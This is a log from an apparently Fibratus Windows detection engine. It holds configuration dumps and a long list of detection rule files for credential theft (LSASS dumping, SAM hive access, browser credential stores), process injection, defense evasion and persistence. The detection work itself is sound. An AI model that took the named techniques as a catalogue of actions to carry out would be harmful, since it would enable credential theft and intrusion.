+time=2025-11-03T23:24:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:24:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:24:36+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T23:24:36+01:00 level=info msg=bootstrapping with pid 12564. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:24:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true enabled=>false content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ max-buffers=>36 enable-thread=>true enable-image=>true enable-mem=>false stack-enrichment=>true enable-audit-api=>true min-buffers=>16 enable-vamap=>true flush-interval=>1s enable-fileio=>true buffer-size=>512 enable-threadpool=>false enable-net=>true enable-dns=>false enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 formatter=>text log-stdout=>true level=>info] + output ......................... [ amqp=>[ exchange-type=>topic enabled=>false vhost=>/ timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 routing-key=>fibratus passive=>false durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false] http=>[ serializer=>json method=>POST tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false enabled=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ flush-period=>1s index-name=>fibratus gzip-compression=>false healthcheck-interval=>10s enabled=>false healthcheck=>true servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s trace-log=>false sniff=>false bulk-workers=>1 timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false excluded-procs=>[] skip-allocs=>false scan-timeout=>10s skip-mmaps=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:24:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:24:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:25:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:25:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:25:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:25:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:25:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-03T23:25:53+01:00 level=info msg=bootstrapping with pid 19516. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:25:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false content-type=>text/html port=>25 to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true enable-audit-api=>true enable-threadpool=>false stack-enrichment=>true buffer-size=>512 enable-dns=>false min-buffers=>16 enable-registry=>true enable-net=>true max-buffers=>36 enable-thread=>true enable-mem=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true flush-interval=>1s enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true max-age=>0 level=>info formatter=>text] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ serializer=>json endpoints=>[] tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false method=>POST timeout=>5s] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s flush-period=>1s gzip-compression=>false template-name=>fibratus bulk-workers=>1 timeout=>5s enabled=>false trace-log=>false healthcheck-timeout=>5s sniff=>false index-name=>fibratus] amqp=>[ timeout=>5s tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus passive=>false durable=>false enabled=>false routing-key=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-mmaps=>false scan-timeout=>10s skip-files=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] fastscan=>true skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:25:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:25:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:26:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:26:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:26:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:26:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from 